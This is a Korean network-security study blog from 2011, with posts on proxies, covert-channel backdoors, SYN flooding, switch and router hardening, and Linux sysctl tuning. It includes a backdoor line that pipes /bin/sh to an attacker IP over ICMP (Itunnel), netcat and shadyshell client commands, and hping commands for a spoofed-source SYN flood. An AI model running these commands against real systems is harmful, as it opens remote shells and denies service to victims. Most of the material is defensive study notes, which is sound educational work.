프록시

보안/Network 2011. 8. 23. 14:32
프록시에 대해 알아보겠습니다. 

" 프록시 서버(Proxy Server)는 클라이언트가 자신을 통해서 다른 네트워크 서비스에 간접적으로 접속할 수 있게 해 주는 컴퓨터나 응용 프로그램을 가리킨다. 서버와 클라이언트 사이에서 중계기로서 대리로 통신을 수행하는 기능을 가리켜 '프록시', 그 중계 기능을 하는 것을 프록시 서버라고 부른다.

프록시 서버는 프록시 서버에 요청된 내용들을 캐시를 이용하여 저장해 둔다. 이렇게 캐시를 해 두고 난 후에, 캐시 안에 있는 정보를 요구하는 요청에 대해서는 원격 서버에 접속하여 데이터를 가져올 필요가 없게 됨으로써 전송 시간을 절약할 수 있게 됨과 동시에 불필요하게 외부와의 연결을 하지 않아도 된다는 장점을 갖게 된다. 또한 외부와의 트래픽을 줄이게 됨으로써 네트워크 병목 현상을 방지하는 효과도 얻을 수 있게 된다. "   -위키-


 

"자기자신을 통해서 다른네트워크 서비스에 간접적으로 접속" 이라는 것을 이용해서 공격자 자신의 IP를 속일 수 있습니다. 

공격자가 프록시 서버를 통해 희생자 서버로 접속하면 희생자 서버쪽에선 프록시 서버의 IP주소가 보이게 되는것이지요. 


프록시를 사용하는 목적으로는 위에서 살펴본 것을 포함하여 다음의 6가지 이유를 들 수 있습니다.

1. 캐시를 활용한 네트워크 트래픽 감소

2. 특정 서버 접속 차단

3. 특정 포트나 서비스 차단

4. 개인정보 노출방지

5. 개인적으로 IP를 숨기고 싶은 경우

6. 정보수집


: 특정 프록시를 사용하게 되면 위에서 말한 여러가지 혜택과 통제를 받게됩니다

보통 회사내에서 라우터나 방화벽같은 장비에 정책을 걸 수 도 있지만 프록시 서버를 두어 이런 혜택과 통제를 적용할 수도 있습니다.

해커들이 해외 프록시 서버를 이용하는 이유가 여기에 있습니다. 자신의 IP를 속일 수 있게 되는것입니다. 

하지만 조심해야 할 것은 정보수집의 문제입니다. 
프록시 서버를 운영하는 몇몇 운영자들은 접속자의 모든 패킷이 자신의프록시 서버를 거쳐 이동하게 된다는 점을 악용해 정보를 수집하기도 합니다. 


이러한 프록시를 레벨로 분류하자면 다음과 같이 분류할 수 있습니다. 

1.     Level3 transparent 프록시

(ㄱ)  빠르다

(ㄴ)  프록시 IP요청시 헤더 부분에 접속을 요청한 실제 클라이언트의 IP 주소를함께 포함하여 서비스를 요청 시도함

(ㄷ)  IP추적시 실제 클라이언트 IP추적 가능

(ㄹ)  X-Troward-for 해더를 요청하면 추적가능

2.     Level 2 anonymous

(ㄱ)  서비스요청시 클라이언트IP해더를 포함하지 않음

(ㄴ)  사용시헤더값중에 x-blueCoat-via 코드를 남기게되어 프록시를 사용중인 것을 체크 할 수 있음.

(ㄷ)  장비적으로는추적가능하나 어렵다

(ㄹ)  많은프록시 종류가 거의 여기에 속한다.

3.     Level 1 elite, high anonymite

(ㄱ)  일반적으로클라이언트 접속과 같은 페킷 형태임

(ㄴ)  추적이힘들다 ( 특허 받은 기술은 존재 – 불분명한 IP의 경우 접속 거부)

(ㄷ)  프록시서버에서 랜덤하게 프록시 IP부여

(ㄹ)  제공되는프록시 양이 많지 않고 상용서비스가 많음

 


이상으로 프록시 이해부분을 마치고 다음으로 프록시 활용에 대해 알아보겠습니다.

'보안 > Network' 카테고리의 다른 글

Covert Channel  (0) 2011.07.29
Hping 을 이용한 SynFlooding 공격  (0) 2011.07.18
SynFlooding 방어  (0) 2011.07.18
스위치 보안정리 2  (0) 2011.07.13
스위치 보안정리 1  (0) 2011.07.13
AND

Covert Channel

보안/Network 2011. 7. 29. 13:18
아래 공격들은 지금은 통하지 않는 공격들이며 원리만 알아둡시다. 

AckCmd

 
:TCP 기반의 백도어 프로그램으로 서버(희생자) 클라이언트(공격자) 모델로서 ,TCP flag의  [UAPRSF]  비트중 A 를 1로 셋팅하고 데이터영역이 있는 패킷을 생성하여 보낸다. 
공격자는 데이터영역에  쉘 상에서 수행가능한 명령어를 포함할 수 있다. (클라이언트프로그램이 프롬프트제공)
일반적으로 데이터 영역이 붙어있게되면 TCP에서는 push와 ack를 셋팅하도록 되어있지만, ack  flag만 셋팅되어있는 tcp패킷에서 data를 붙이는것을 금지해 놓지는 않았다. 
이를 이용한 것이다.


초창기에는 단순 ACK 패킷을 보냄으로써, 방화벽에 탐지되지 않았으나  이공격은 2000 이하에서나 동작하지 서비스팩 2부터는 동작하지 않는다. 한마디로 옛날 공격이고 원리만 알아두자. 

서버(희생자) 에서
# ./ackcmds

클라이언트(공격자) 에서
# ./ackcmdc 희생자IP 




Itunnel
: ICMP기반의 백도어 프로그램으로 서버 클라이언트 모델로서  ICMP의 추가되는 data 영역에 쉘 상에서 수행할 수 있는 명령어를 추가할 수 있다. 
서버( 희생자) 상에서는  
# ./it localhost | /bin/sh | ./it attackerIP 

클라이언트(공격자) 상에서는
# ./it victimIP 

itunnel-1_2.tar.gz 

Loki(1997)
ICMP기반의 백도어 프로그램으로 서버 클라이언트 모델로서  ICMP의 추가되는 data 영역에 쉘 상에서 수행할 수 있는 명령어를 추가할 수 있다. 
2010년에 스위치와 라우터 공격용으로 개발된 Loki와는 완전히 다르므로 구별하자

shadyshell
: UDP기반의 백도어 프로그램으로서  DNS 패킷 안에 쉘 상에서 수행할 수 있는 명령어를 삽입할 수 있다. 

서버(희생자)에서는
./shadyshell

클라이언트(공격자)에서는
nc -u 희생자IP 53 

shadyshell.c
 

'보안 > Network' 카테고리의 다른 글

프록시  (0) 2011.08.23
Hping 을 이용한 SynFlooding 공격  (0) 2011.07.18
SynFlooding 방어  (0) 2011.07.18
스위치 보안정리 2  (0) 2011.07.13
스위치 보안정리 1  (0) 2011.07.13
AND

Hping 희생자IP -a 위장IP -p 22 -S -i u100

or

hping --rand-source 희생자IP -p 22 -S 

'보안 > Network' 카테고리의 다른 글

프록시  (0) 2011.08.23
Covert Channel  (0) 2011.07.29
SynFlooding 방어  (0) 2011.07.18
스위치 보안정리 2  (0) 2011.07.13
스위치 보안정리 1  (0) 2011.07.13
AND

SynFlooding 방어

보안/Network 2011. 7. 18. 17:35
작성자 : 유창훈
Synflooding attack의 핵심은 백로그큐를 꽉 채우는 것!!! 이것이다. 

서버 클라이언트 관계에서 3way handshaking 과정은 알고있으리라고 보고 다음을 읽도록 하자.

이 백로그큐는 그냥 막 들이댄다고 채워지는게 아니라 Syn패킷을 받았을때, Syn Ack를 응답해 주고 나서 Ack가 올때까지 기다리는 동안 여기에 살짝 집어넣어놓는다.

근데 응답이 안오면???? Ack가 돌아와야 서버에서 큐가 비워지는데 응답이 안오니까 비워지지 않은상태로 다음 Syn이 오면 또 쌓이고 응답없으면 그대로 쌓여있다가 . 또 쌓이고 쌓이고 ..... 그래서 최악의 경우는 큐가 다 차서 더이상 Syn 패킷을 받을 수 없는 상태가 된다.

이렇게 되면 서비스 거부가 되고( 3way handshaking 이 안되니까) 중요한 회사에서 중요한 타이밍에 서비스를 할 수가 없다면 엄청난 손실을 받게 된다. 
이러면안된다....
 
통상적으로 백로그 큐 안에서 Syn 패킷이 존재하는 시간은 75초, .
공격자가 75초 안에 서버의 백로그큐를 다 채워버리면 끝나는거다 . 일반적으로 공격후 3초면 서비스 다운된다.

따라서 이러한 공격을 예방하기 위해 몇가지  대안이 있다.  

1. 백로그 큐의 크기를 증가! 

[root@net /root]# sysctl -w net.ipv4.tcp_max_syn_backlog=1024

또는

[root@net /root]# echo 1024 > /proc/sys/net/ipv4/tcp_max_syn_backlog

         
일반적으로 128M 이면 128로 하고 그 이상이면 1024로 한다. 
이 때 주의할 점은 이 값을 무작정 크게 설정한다고 좋은 것은 아니며 1024 이상으로 설정할 경우 는 /usr/src/linux/include/ net/tcp.h 소스에서 TCP_SYNQ_HSIZE 변수를 수정 후 커널을 재컴파일해야 한다. 이 변수를 설정시 TCP_SYNQ_HSIZE에 16을 곱한 값이 tcp_mas_syn_backlog 보다는 작거나 같아야 하는데, 그렇지 않을 경우에 는 시스템에 문제가 발생할 수 있으니 1024 보다 높은 값으로 설정하지 말기 바란다
 
솔직히 백로그 큐 증가해 봤자 정작 Syn flooding공격이 들어왔을때는 아무~소용없다. 
다만 평상시 서비스하는 서버라면 적당한 백로그 큐는 네트워크의 성능을 조금 향상시켜준다.   
그래도!!  정작 공격이 들어왔을때, 최대한의 서비스 보장을 위해서  설정해놓는게 좋다. 


2. Syncookie를 셋팅해 놓는다. 

백로그 큐에 가득차서 서비스가 안되면 백로그 큐가 가득 찼을때, cookie 개념을 이용해 백로그큐의 역할을 대신하는 공간을 지정해 주면된다. 그럼 서비스가 계속될 것이지 않은가?  

이것이 Syncookie이다. 


먼저 현재 설정값 확인 

[root@control src]# sysctl net.ipv4.tcp_syncookies

0

0 으로 설정되어 있으므로 현재 syncookies는 적용되지 않는다. 따라서 다음과 같이 1을 설정하여 syncookies 기능을 활성화도록 한다.


[root@control src]# sysctl -w net.ipv4.tcp_syncookies=1
또는  

[root@net /root]# echo 1 > /proc/sys/net/ipv4/tcp_syncookies

 



syncookie 설정을 해놓은 상태에서 Synflooding공격이 들어오면 (즉, 백로그큐가 가득찼을때)   /var/log/message 파일에 아래와 같이 SynFlooding 공격이 진행중이라는 메시지가 출력된다.

"Jun 11 18:54:08 net kernel: possible SYN flooding on port 80. Sending cookies."

'보안 > Network' 카테고리의 다른 글

Covert Channel  (0) 2011.07.29
Hping 을 이용한 SynFlooding 공격  (0) 2011.07.18
스위치 보안정리 2  (0) 2011.07.13
스위치 보안정리 1  (0) 2011.07.13
Linux kernel parameter 설정(네트워크)  (0) 2011.07.13
AND


==VRRP== 

master 1(active) (tracking 기능 없음)
backup (standby)
224.0.0.18

interface vlan 10
ip address 172.16.10.32 255.255.255.0
vrrp 10 ip 10.1.10.1
vrrp 10 priority 150
vrrp 10 timers advertise 4 (default 1sec skew time) :

=vrrp skew time=
(256-priority/256)

ex) priority 200  -> (256-200)/256 = 0.2sec : total 3.2초후에 master 선언


==GLBP==
HSRP를 보완한 표준 프로토콜 : Gateway Loadbalancing routing protocol

 

 

 

 

 

 

===========================HSRP====================================
active  1
standby 1
224.0.0.2

show ip arp  (mac,ip address mapping table)
show standby brief
debug standby events


interface vlan 10
ip address 172.16.10.32 255.255.255.0
standby 1 priority 150   (default 100) (1 ~ 255)
standby 1 ip 172.16.10.110
standby 1 preempt  
standby 1 timers 5 15   (default hello 3sec hold 10 sec)
standby 1 track serial 0 50

standby 1 timers msec 200 msec 750
standby 1 preempt delay minimum 180

======multiple HSRP Group(on the same segment)===========
----sw1----
interface vlan 10
ip address 172.16.10.32 255.255.255.0
standby 1 priority 150
standby 1 ip 172.16.10.110
standby 2 priority 50
standby 2 ip 172.16.10.120

----sw2-----
interface vlan 10
ip address 172.16.10.33 255.255.255.0
standby 1 priority 50
standby 1 ip 172.16.10.110
standby 2 priority 150
standby 2 ip 172.16.10.120

=======multiple HSRP Group(different ip subnet)============

----sw1----
interface vlan 10
ip address 172.16.10.32 255.255.255.0
standby 1 priority 150
standby 1 ip 172.16.10.110

interface vlan 20
ip address 172.16.20.32 255.255.255.0
standby 1 priority 50
standby 1 ip 172.16.20.120

----sw2-----
interface vlan 10
ip address 172.16.10.33 255.255.255.0
standby 1 priority 50
standby 1 ip 172.16.10.110

interface vlan 20
ip address 172.16.20.33 255.255.255.0
standby 1 priority 150
standby 1 ip 172.16.20.120

===========================VRRP====================================
master
backup
224.0.0.18

interface vlan 10
ip address 172.16.10.32 255.255.255.0
vrrp 10 ip 10.1.10.1
vrrp 10 priority 150
vrrp 10 timers advertise 4 (default 1sec skew time)

=vrrp skew time=
(256-priority/256)

B의경우 (256-200)/256 = 0.2sec total 3.2
C의경우 (256-100)/256 = 0.6sec total 3.6

===========================GLBP====================================
HSRP와의 차이점 : 하나의 가상IP와 여러개의 가상 MAC을 가짐
별도의 설정을 하지 않아도 load balancing이 가능
모든 라우터의 리소스를 전부다 사용 가능
ARP를 요청하게 되면 응답할시 생성한 모든 가상 MAC을 전달


AVG=active virtual gateway  => Active, VMAC
AVF=active virtual forwarder  => VMAC
224.0.0.102

interface vlan 10
ip address 172.16.10.32 255.255.255.0
glbp 7 ip 10.1.7.1
glbp 7 priority 150  (default 100)
glbp 7 timers msec 250 msec 750 (default hello 3sec hold 10 sec)

 

P3R3#pingg
Protocol [ip]:
Target IP address: 200.1.1.1
Repeat count [5]: 1000
Datagram size [100]:
Timeout in seconds [2]:
Extended commands [n]:

P3R4#traceroute 200.1.1.1

show standby brie

 


== Modul 8 ==
==MAC Flooding attack==
존재하지 않는 MAC address를 스위치에 보냄, 스위치의 Mac 테이블을 가득 채워서, 브로드캐스트 발생하게 함
==Port Security
허용된 MAC에서만 MAC테이블 기록하게 함
Port-security
interface fa0/1
  switchport mode access
  switch  switchport port-security
  switch  switchport port-security maximum 1
  switch  switchport port-security mac-address 0001.1111.1111
  switch  switchport port-security violation (protect, restrict, shut)
  -> protect : 사용불가, restrict : 사용불가+access log 기록,  shut : 사용불가+port shutdown(err-disable)

==port status==
1. admin down(shut)
2. up
3. notconnected
4. err-disable(원인 제거후 no shut => UP)

 


== 실습 ==
sw1
interface vlan 1
ip add 1.1.1.2 255.255.255.0
R1
interface fa0/
ip add 1.1.1.1 255.255.255.0

ping test

sw1
interface fa0/1
shut
switchport mode access
switchport port-security
switchport port-security maximum 1
switchport port-security mac-address 0001.0000.1111
switchport port-security violation restrict (log)
or
switchport port-security violation shutdown

↓dynamic하게 배운 mac을 static으로 설정한것처럼 처리
switchport port-security maximum 3
switchport port-security mac-address sticky
↑ 먼저 접속된 3개의 MAC만을 access 허용

===AAA(authentication, Authorization, Accounting===
: 접속한 유저를 인증하는 설정
RADIUS - 표준
TACACS - CISCO

aaa new-model (add enable)
aaa authentication login TELNETLOGIN(default로 대체 가능, 모든 라인에 적용) group tacacs+ local none // ?
tacacs-server host 1.1.1.100
line vty 0 4
  login authentication TELNETLOGIN

hostname cisco pri 15 password cisco

line con 0
password itbank
login

sh mac-address-table
sh int status
sh port-security
sh port-security address

sh line  // 접속된 라인

== 2장 ==
'사용하지 않는 포트는 access나 특정한 Vlan으로 설정

==============access-list======================
access-list 11 permit 10.1.1.0 0.0.0.255 (source)
 : 10.1.1.0네트워크만 허용해주겠다
access-list 111 permit tcp 10.1.1.0 0.0.0.255 any eq telnet
( source, destination, protocol, port)
 : 10.1.1.0네트워크중 tcp telnet 서비스만 허용해 주겠다.

===============prefix-list== : 가장 효과적인 방법
prefix 개별적으로 삭제 가능
ip prefix-list NET22 seq 3 permit 11.11.11.0/24
ip prefix-list NET22 seq 5 permit 22.22.22.0/24
 :같은 이름에 여러개를 seq로 나눠서 걸 수 있다.

==============named-access-list==================
ip access-list extended BGP_ROUTE_MAP
    permit tcp 10.1.1.0 0.0.0.255 any eq telnet
    deny   tcp 10.1.2.0 0.0.0.255 any eq telnet

ex) access-list 100 deny ip 1.1.1.0 0.0.0.255 2.2.2.0 0.0.0.255

 

 


Multilayer switch
interface vlan10
ip access-group 100 in

==VACL==
// 같은 네트워크내에서 ACL 적용
Racl(1.1.1.1 => 2.2.2.2)
interface vlan 10
  ip access-group 100 in
access-list 100 deny ip host 1.1.1.1 host 2.2.2.2

 


vacl(1.1.1.1 => 2.2.2.2)
vlan access-map TEST 10
  match ip add 100
  action drop

vlan access-map TEST 20
  match ip add 101
  action drop

vlan filter TEST vlan-list 10

access-list 100 permit ip host 1.1.1.1 host 1.1.1.2
access-list 101 permit ip any any eq 5000

 

'보안 > Network' 카테고리의 다른 글

Hping 을 이용한 SynFlooding 공격  (0) 2011.07.18
SynFlooding 방어  (0) 2011.07.18
스위치 보안정리 1  (0) 2011.07.13
Linux kernel parameter 설정(네트워크)  (0) 2011.07.13
라우터 디폴트 셋팅  (0) 2011.07.06
AND

>> switching security <<

1. port-security 
 설정 위치 : access swtich
 옵션 : maximum , sticky , static mac 지정

2. port별 트래픽 제어
 설정 위치 : access switch
 종류 : storm control , prtected port , port blocking

3. STP 공격 차단
 설정 위치 : access / ditribute switch
 종류 : BPDU guard , Root guard

4. DHCP snooping          
 : DHCP에 대한 감시

5. ARP snooping
 : ARP spoofing감시 
6. IP Source guard

7. ACL : IP acl , mac acl (=vlan map)
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>Switch-security2.txt에

 

---------------------------------------------------------------------
1. port-security
 - mac address 정적 설정 : server와 연결된 port에 설정
 - 그외 access port : 학습 mac address 제한
 - client pc(hosts)연결시 : sticky로 mac address 학습하도록 설정

 @  [Router]fa0/0-------fa0/24 [switch] fa0/3------[server]

 Router fa0/0 ip : 10.10.10.1/24
 server ip : 10.10.10.10/24
 server mac : 0000.0000.0001

 switch 설정
 conf t
  int fa0/3
   switchport
   switchport mode access
   switchport port-security mac-address 0000.0000.0001 //정적mac주소 설정
   switchport port-security  //활성화
 end
 show port-security
 show port-security fa0/3
 show mac-address

 -> 0000.0000.0001이 아닌 다른 server를 연결할경우, MAC address오류로
 자동으로 interface fa0/3이 shutdown 됨.
 확인: show int fa0/3
 show interface status err-disabled


 @ [Router]fa0/0----------------fa0/24[Switch]fa0/10----------[PC-hosts]

 switch 설정
 conf t
 int fa0/10
  switchport mode access
  switchport port-security maximum 1
 //fa0/10에 hub연결시 hub port수만큼 해줌
  //fa0/10에 다른 switch연결시 switch포트수+1(스위치자체mac)-> 수만큼 설정
  switchport port-security //활성화
 end
 show port-security
 show port-security address

 

2. port-별 트래픽 제어
 2-1. 과다트래픽 제어 storm-contrl : [switch] fa0/0 <-------(in X 제어-유니/멀티/브로드캐스트)
 2-2. 포트차단 port-blocking : [switch] fa0/24 --------->(out X 제어-유니/멀티캐스트)
 2-3. 방어포트 protect port : fa0/22 [switch] fa0/23 
    ↔ O       fa0/24 (↕X -유니/멀티/브로드캐스트)


 2-1 storm contrl
 : 유니캐스트 , 멀티캐스트 , 브로드캐스트 트래픽이 1초 이상 특정 수준 이상으로
   많이 수신되었을 때 일시적 차단,

  [Router]-----[switch]fa0/24-----[PC]

  스위치 설정
  conf t
  int fa0/24
    storm-control braodcast level 30 //30%이상의 broadcast 발생시 shutdown
    또는
    storm-control unicast level 10 //10%이상의 bradcast 발생시 shutdown
    또는
    storm-control multicast level 20 //20%이상의 bradcast 발생시 shutdown

 

 2-2. protected port 방어포트
 방어포트로 설정된 port끼리 차단됨 (nui/multi/braod)  ISP에서 사용자들끼리통신제한, 게이트와는가능
 show int fa0/10 swtichport
 .... 생략
 Protected : true
 .... 생략

 [Router]--------fa0/1[switch] fa0/10 (방어포트)-------------pc
    fa0/11(방어포트)-------------pc

  switch fa0/10  <---X---> fa0/11   방어포트끼리 통신안됨.
  switch fa0/10  <---O---> fa0/1   방어포트와 비방어포트끼리 통신가능
  switch fa0/10  <---O---> fa0/11  방어포트와 비방어포트끼리 통신가능


 2-3 포트차단 port-blocking
 : 목적지 주소가 MAC 주소 table에 없는 flooding 하는 것 차단.
 show int fa0/1 switchport
  .....생략
 Unknown unicast blocked : enabled
 Unknown multicast blocked : enabled

  [Router]--------fa0/1 [swtich] -------Host(보통서버)

  스위치 설정
  conf t
  int fa0/1
   switchport block unicast
   switchport block multicast
  end

 

3. STP 공격차단
 3-1 BPDU guard : PC와 같은 종단장치가 접속된 포트에서 BPUD를 수신하지 못하게 함
  스위치 설정
  conf t
  spanning-tree portfast bpduguard defualt //portfast가 설정된 포트에만 작동
  또는
  conf t
  int fa0/10
  spanning-tree bpduguard enable
  end

 3-2. 가드 루트  root guard
  특정 포트에 접속된 네트워크 스위치들은 로트스위치가 될수없도록
 [swtich1-루트스위치]fa0/1--------------fa0/24[switch2]

 분배계층간에
 Root sw Pri ------------Root sw Second
  -  ---- 
     ---- -sw(이거는 루트스위치가될일이없다)

 

  루트스위치에서 설정
  switch1#conf t
  int fa0/1
   spanning-tree guard root
   exit
  spanning-tree vlan 1 priority 0
  end
  show spanning-tree vlan 1
  show int fa0/1
 ... is down, line protcol is down (err-disabled)

 

  show int status err-disabled                                 >>>>>>> 에러원인까지 보여줌
 int  .....  Reason
 fa0/1   rootguard
 fa0/10   bpdu guard /확인

 ****inteface down시 해결하는 방법
  -수동해결                        >>>>>원인제거 하고
 int fa0/1
  shutdown
  no shutdown
 end
 show ip int brief
 show int fa0/1
  -자동해결
 errdisable recovery cause root guard
 errdisable recovery cause bpdu guard
 errdisable recovery cause interval 120 //2분후 자동으로 up

 

@acess switch인 경우
 
access port :  int fax/x
  swtichport mode access
  spanning-tree portfast
  spanning-tree bpdugard enable
  port-security mac-address sticky
  port-security maximum 1
  port-security

trunk port :  int fax/x
  switchport mode trunk
  swtichport guard root   //root switch에서)
  exit
  spanning-tree vlan x root primary
  spanning-tree vlan x priority 0  //root primary switch에서)
  또는
  spanning-tree vlan x root secondary
  spanning-tree vlan x priority 4096 //root secondary switch에서)

 


 

'보안 > Network' 카테고리의 다른 글

SynFlooding 방어  (0) 2011.07.18
스위치 보안정리 2  (0) 2011.07.13
Linux kernel parameter 설정(네트워크)  (0) 2011.07.13
라우터 디폴트 셋팅  (0) 2011.07.06
[Router] 라우터의 보안 관련 요소들  (0) 2011.07.06
AND


sysctl 명령어

linux 커널 파라미터 환경설정
/proc/sys와 관련
/etc/sysctl.conf


#sysctl a
#sysctl net.ipv4.ip_forward
#sysctl -w net.ipv4.ip_forward=1
 == #echo "1" > /proc/sys/net/ipv4/ip_forward
#sysctl -p /etc/sysctl.conf

 

- ping 응답 차단
 #sysctl -w net.ipv4.icmp_echo_ignore_all=1

- Broadcast로 ping request 차단
 #sysctl -w net.ipv4.icmp_echo_broadcasts=1

- Source Routing 차단
 #sysctl -w net.ipv4.conf.all.accept_source_route=0

- Blacklog 와 syscookie 설정
 #sysctl -w net.ipv4.tcp_max_sys_backlog=1024
 #sysctl -w net.ipv4.tcp_syscookies=1

- ICMP redirect 차단
 #sysctl -w net.ipv4.conf.all.send_redirect=0
 #sysctl -w net.ipv4.conf.all.accept_redirects=0

-ICMP spoofing 차단
 #sysctl -w net.ipv4.conf.all.rp_filter=1
 #sysctl -w net.ipv4.conf.all.log_martians=1
 #vi /etc/hosts.conf
 nospoof on

-TCP 연결 종료 시간 줄이기 (FIN-WAIT-2)
 #sysctl -w net.ipv4.tcp_fin_timeout=30

-Keep alive 시간 줄이기
 #sysctl -w net.ipv4.tcp_keepalive-time=1800 (30분)

-임시포트 늘리기 (128B이하는 1024~4999)
 #vi /etc/sysctl.conf
net.ipv4.ip_local_port_range=32768 61000
 #sysctrl -p /etc/sysctl.conf

최대 open file 수 늘이기
 #vi /usr/src/linux/include/liux/fs.h
 #define INR_OPEN 8192


sysctl -w net.ipv4.icmp_destunereach_rate=1 
# 1/100초 동안 받아들일 수 있는 "dest unreach (type 3) icmp"의 개수 

sysctl -w net.ipv4.icmp_echo_ignore_broadcasts=1 
# Broadcast로부터 오는 핑을 차단함(Smurt 공격을 차단함). 

sysctl -w net.ipv4.icmp_echoreply_rate=1 
# 1/100초에 반응하는 핑의 최대 숫자 

sysctl -w net.ipv4.icmp_echo_ignore_all=1 
# 모든 핑을 차단함 

sysctl -w net.ipv4.icmp_ignore_bogus_error_responses=1 
# IP 나 TCP 헤더가 깨진 bad icmp packet을 무시한다. 

sysctl -w net.ipv4.icmp_paramprob_rate=1 
# 1/100 초에 받아들이는 param probe packet의 수 

sysctl -w net.ipv4.icmp_timeexceed_rate=1 
# 1/100 초에 받아들이는 timeexceed 패킷의 수(traceroute와 관련) 

sysctl -w net.ipv4.igmp_max_memberships=1 
# 1/100초에 받아들이는 igmp "memberships"의 수 

sysctl -w net.ipv4.ip_default_ttl=64 
# 매우 복잡한 사이트에서는 이 값을 늘리는 것도 가능하지만 64로 두는 것이 
적당하며 더 늘렸을 경우에는 큰 문제가 발생할 수도 있다. 

sysctl -w net.ipv4.ip_forward=0 
# 게이트웨이 서버가 아닌 이상 패킷을 포워딩 할 필요는 없다. 

sysctl -w net.ipv4.ipfrag_time=15 
# fragmented packet이 메모리에 존재하는 시간을 15초로 설정한다. 

sysctl -w net.ipv4.tcp_syn_retries=3 
# 일정한 시간과 IP별로 보내고 받는 SYN 재시도 횟수를 3회로 제한한다. 이 
옵션은 스푸핑된(위조된) 주소로 오는 SYN 연결의 양을 줄여준다. 기본 값은 5
이며 255를 넘지 않아야 한다. 

sysctl -w net.ipv4.tcp_retries1=3 
# 무언가 문제가 있을 때 연결을 위해 재시도 할 횟수, 최소 값과 기본 값은 3이다. 

sysctl -w net.ipv4.tpc_retries2=7 
# TCP 연결을 끊기 전에 재시도할 횟수. 

sysctl -w net.ipv4.conf.eth0.rp_filter=2 
sysctl -w net.ipv4.conf.lo.rp_filter=2 
sysctl -w net.ipv4.conf.default.rp_filter=2 
sysctl -w net.ipv4.conf.all.rp_filter=2 
# 이 설정은 자신의 네트워크가 스푸핑된 공격지의 소스로 쓰이는 것을 차단한
다. 모든 인터페이스에서 들어오는 패킷에 대해 reply를 하여 들어오는 인터페
이스로 나가지 못하는 패킷을 거부한다. 

sysctl -w net.ipv4.conf.eth0.accept_redirect=0 
sysctl -w net.ipv4.conf.lo.accept_redirect=0 
sysctl -w net.ipv4.conf.default.accept_redirect=0 
sysctl -w net.ipv4.conf.all.accept_redirect=0 
# icmp redirects를 허용하지 않는다. 만약 ICMP Redirect를 허용할 경우에는 
공격자가 임의의 라우팅 테이블을 변경할 수 있게 되어 자신이 의도하지 않는 
경로, 즉 공격자가 의도한 경로로 트래픽이 전달될 수 있는 위험이 있다. 

sysctl -w net.ipv4.conf.eth0.accept_source_route=0 
sysctl -w net.ipv4.conf.lo.accept_source_route=0 
sysctl -w net.ipv4.conf.default.accept_source_route=0 
sysctl -w net.ipv4.conf.all.accept_source_route=0 
# 스푸핑을 막기 위해 source route 패킷을 허용하지 않는다. 소스 라우팅을 
허용할 경우 악의적인 공격자가 IP 소스 라우팅을 사용해서 목적지의 경로를 
지정할 수도 있고, 원래 위치로 돌아오는 경로도 지정할 수 있다. 이러한 소
스 라우팅이 가능한 것을 이용해 공격자가 마치 신뢰받는 호스트나 클라이언트
인 것처럼 위장할 수 있는 것이다. 

sysctl -w net.ipv4.conf.eth0.bootp_relay=0 
sysctl -w net.ipv4.conf.lo.bootp_relay=0 
sysctl -w net.ipv4.conf.default.bootp_relay=0 
sysctl -w net.ipv4.conf.all.bootp_relay=0 
# bootp 패킷을 허용하지 않는다. 

sysctl -w net.ipv4.conf.eth0.log_martians=0 
sysctl -w net.ipv4.conf.lo.log_martians=0 
sysctl -w net.ipv4.conf.default.log_martians=0 
sysctl -w net.ipv4.conf.all.log_martians=0 
# 스푸핑된 패킷이나 소스라우팅, Redirect 패킷에 대해 로그파일에 정보를 남
긴다. 

sysctl -w net.ipv4.conf.eth0.secure_redirects=0 
sysctl -w net.ipv4.conf.lo.secure_redirects=0 
sysctl -w net.ipv4.conf.default.secure_redirects=0 
sysctl -w net.ipv4.conf.all.secure_redirects=0 
# 게이트웨이로부터의 redirect를 허용하지 않음으로써 스푸핑을 막기 위해 설
정한다. 

sysctl -w net.ipv4.conf.eth0.send_redirects=0 
sysctl -w net.ipv4.conf.lo.send_redirects=0 
sysctl -w net.ipv4.conf.default.send_redirects=0 
sysctl -w net.ipv4.conf.all.send_redirects=0 
# icmp redirects를 보내지 않는다. 
sysctl -w net.ipv4.conf.eth0.proxy_arp=0 
sysctl -w net.ipv4.conf.lo.proxy_arp=0 
sysctl -w net.ipv4.conf.default.proxy_arp=0 
sysctl -w net.ipv4.conf.all.proxy_arp=0 
# proxy arp를 설정하지 않는다. 이 값이 1로 설정되었을 경우 proxy_arp가 설
정된 인터페이스에 대해 arp 질의가 들어왔을 때 모든 인터페이스가 반응하게 
된다. 

sysctl -w net.ipv4.tcp_keealive_time=30 
# 이미 프로세스가 종료되어 불필요하게 남아 있는 연결을 끊는 시간을 줄이도
록 한다. 

sysctl -w net.ipv4.tcp_fin_timeout=30 
# 연결을 종료시 소요되는 시간을 줄여준다(기본 설정값: 60). 

sysctl -w net.ipv4.tcp_tw_buckets=720000 
# 동시에 유지 가능한 timewait 소켓의 수이다. 만약 지정된 숫자를 초과하였
을 경우에는 timewait 소켓이 없어지며 경고 메시지가 출력된다. 이 제한은 단
순한 DoS 공격을 차단하기 위해 존재하는데, 임의로 이 값을 줄여서는 안되며 
메모리가 충분하다면 적절하게 늘려주는 것이 좋은데, 64M 마다 180000으로 설
정하면 된다. 따라서 256M일 경우에는 256/4=4 4*180000=720000 

sysctl -w net.ipv4.tcp_keepalive_probes=2 
sysctl -w net.ipv4.tcp_max_ka_probes=100 
# 간단한 DoS 공격을 막아준다. 
위의 모든 설정은 재부팅 후에 원래의 값으로 다시 초기화되므
로 /etc/rc.d/rc.local 에 두어 부팅시마다 실행하도록 하여야 한다. 그리고 
리눅스의 버전이 낮아 sysctl 명령어가 없는 경우에는 echo 0 or 1 
> /proc/sys/net/*와 같이 직접 /proc 이하의 값을 직접 설정해 주어도 된다. 
echo 명령어 역시 재부팅되면 초기화되므로 /etc/rc.d/rc.local 에 설정해 두
어야 재부팅후에도 적용이 된다. 아울러 레드헷 6.2 이상일 경우에
는 /etc/sysctl.conf 파일에 net.ipv4.tcp_syncookies=1과 같이 설정한 후 네
트워크를 재시작하는 방법도 있다.
 

'보안 > Network' 카테고리의 다른 글

스위치 보안정리 2  (0) 2011.07.13
스위치 보안정리 1  (0) 2011.07.13
라우터 디폴트 셋팅  (0) 2011.07.06
[Router] 라우터의 보안 관련 요소들  (0) 2011.07.06
[Router} Syn Flooding Defence- Router intercept mode  (0) 2011.07.06
AND

en
conf t
enable secret cisco
no ip domain-lookup

line console 0
 logging syn
 exec-timeout 0 0                  ///실무에서는 이렇게 하면안된다.
 exit
line vty 0 4
 password cisco
 login
exit
hostname R
AND

1. 동적 라우팅 프로토콜
